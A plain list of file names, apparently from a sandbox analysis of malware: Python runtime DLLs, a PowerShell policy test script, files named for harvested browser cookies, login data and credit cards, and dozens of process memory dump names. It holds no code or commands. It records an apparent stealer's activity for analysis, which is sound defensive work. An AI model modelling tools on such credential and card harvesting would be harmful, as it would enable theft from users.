api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-1_1.dll
python310.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_cfncscxg.5v5.ps1
cookies_db
credit_cards_db
credit_cards_db
downloads_db
downloads_db
login_data_db
memory/756-57-0x00007FF8FC9D0000-0x00007FF8FCE36000-memory.dmp
memory/1744-398-0x00000243135A0000-0x00000243135BE000-memory.dmp
memory/1744-241-0x0000024312BE0000-0x0000024313180000-memory.dmp
memory/1744-254-0x000002432D6A0000-0x000002432D716000-memory.dmp
memory/1880-466-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-464-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-418-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-417-0x000002CD14560000-0x000002CD14561000-memory.dmp
memory/1880-422-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-432-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-424-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-426-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-428-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-480-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-462-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-476-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-474-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-472-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-470-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-468-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-420-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-430-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-478-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-460-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-458-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-456-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-454-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-452-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-450-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-448-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-446-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-444-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-442-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-440-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-438-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-436-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/1880-434-0x000002CD14570000-0x000002CD14571000-memory.dmp
memory/2568-255-0x0000021398860000-0x0000021398882000-memory.dmp
memory/3228-215-0x00007FF8FC810000-0x00007FF8FC98A000-memory.dmp
memory/3228-2603-0x00007FF8FC810000-0x00007FF8FC98A000-memory.dmp
memory/3228-220-0x00007FF8EDE40000-0x00007FF8EDEF8000-memory.dmp
memory/3228-217-0x00007FF8FD4C0000-0x00007FF8FD4CD000-memory.dmp
memory/3228-227-0x00007FF8EDD20000-0x00007FF8EDE38000-memory.dmp
memory/3228-226-0x00007FF8FCEF0000-0x00007FF8FCEFD000-memory.dmp
memory/3228-218-0x00007FF8FC7C0000-0x00007FF8FC7EE000-memory.dmp
memory/3228-219-0x00007FF8EDF00000-0x00007FF8EE279000-memory.dmp
memory/3228-225-0x00007FF8FC730000-0x00007FF8FC745000-memory.dmp
memory/3228-1902-0x00007FF8EE280000-0x00007FF8EE6E6000-memory.dmp
memory/3228-1949-0x00007FF8FCCA0000-0x00007FF8FCCC4000-memory.dmp
memory/3228-2598-0x00007FF8FCCA0000-0x00007FF8FCCC4000-memory.dmp
memory/3228-2599-0x00007FF8FDD70000-0x00007FF8FDD7F000-memory.dmp
memory/3228-2600-0x00007FF8FCC70000-0x00007FF8FCC9C000-memory.dmp
memory/3228-2601-0x00007FF8FD150000-0x00007FF8FD168000-memory.dmp
memory/3228-212-0x00007FF8FCC70000-0x00007FF8FCC9C000-memory.dmp
memory/3228-213-0x00007FF8FD150000-0x00007FF8FD168000-memory.dmp
memory/3228-214-0x00007FF8FCC50000-0x00007FF8FCC6F000-memory.dmp
memory/3228-207-0x00007FF8FDD70000-0x00007FF8FDD7F000-memory.dmp
memory/3228-206-0x00007FF8FCCA0000-0x00007FF8FCCC4000-memory.dmp
memory/3228-202-0x00007FF8EE280000-0x00007FF8EE6E6000-memory.dmp
memory/3228-2602-0x00007FF8FCC50000-0x00007FF8FCC6F000-memory.dmp
memory/3228-2107-0x00007FF8FCC50000-0x00007FF8FCC6F000-memory.dmp
memory/3228-2446-0x00007FF8FC810000-0x00007FF8FC98A000-memory.dmp
memory/3228-2491-0x00007FF8FC7F0000-0x00007FF8FC809000-memory.dmp
memory/3228-2555-0x00007FF8EDE40000-0x00007FF8EDEF8000-memory.dmp
memory/3228-2554-0x00007FF8EDF00000-0x00007FF8EE279000-memory.dmp
memory/3228-2553-0x00007FF8FC7C0000-0x00007FF8FC7EE000-memory.dmp
memory/3228-2597-0x00007FF8EE280000-0x00007FF8EE6E6000-memory.dmp
memory/3228-2611-0x00007FF8EDD20000-0x00007FF8EDE38000-memory.dmp
memory/3228-2610-0x00007FF8FCEF0000-0x00007FF8FCEFD000-memory.dmp
memory/3228-2609-0x00007FF8FC730000-0x00007FF8FC745000-memory.dmp
memory/3228-2608-0x00007FF8EDE40000-0x00007FF8EDEF8000-memory.dmp
memory/3228-2607-0x00007FF8EDF00000-0x00007FF8EE279000-memory.dmp
memory/3228-2606-0x00007FF8FC7C0000-0x00007FF8FC7EE000-memory.dmp
memory/3228-2605-0x00007FF8FD4C0000-0x00007FF8FD4CD000-memory.dmp
memory/3228-2604-0x00007FF8FC7F0000-0x00007FF8FC809000-memory.dmp
memory/3228-216-0x00007FF8FC7F0000-0x00007FF8FC809000-memory.dmp
memory/7200-2819-0x0000016A65730000-0x0000016A6573A000-memory.dmp
memory/7200-2826-0x0000016A65790000-0x0000016A657AA000-memory.dmp
memory/7200-2831-0x0000016A65780000-0x0000016A6578A000-memory.dmp
memory/7200-2789-0x0000016A655E0000-0x0000016A655EA000-memory.dmp
memory/7200-2827-0x0000016A65740000-0x0000016A65748000-memory.dmp
memory/7200-2785-0x0000016A65500000-0x0000016A6551C000-memory.dmp
memory/7200-2806-0x0000016A65750000-0x0000016A6576C000-memory.dmp
memory/7200-2828-0x0000016A65770000-0x0000016A65776000-memory.dmp
memory/7200-2786-0x0000016A65520000-0x0000016A655D5000-memory.dmp
memory/7368-1987-0x00000221FFE10000-0x00000221FFE22000-memory.dmp
memory/7368-1965-0x000002219B040000-0x000002219B066000-memory.dmp
memory/7368-1950-0x00000221FFBF0000-0x00000221FFBFA000-memory.dmp
memory/7368-1951-0x000002219AD90000-0x000002219ADFA000-memory.dmp
memory/7368-1964-0x000002219B080000-0x000002219B0BA000-memory.dmp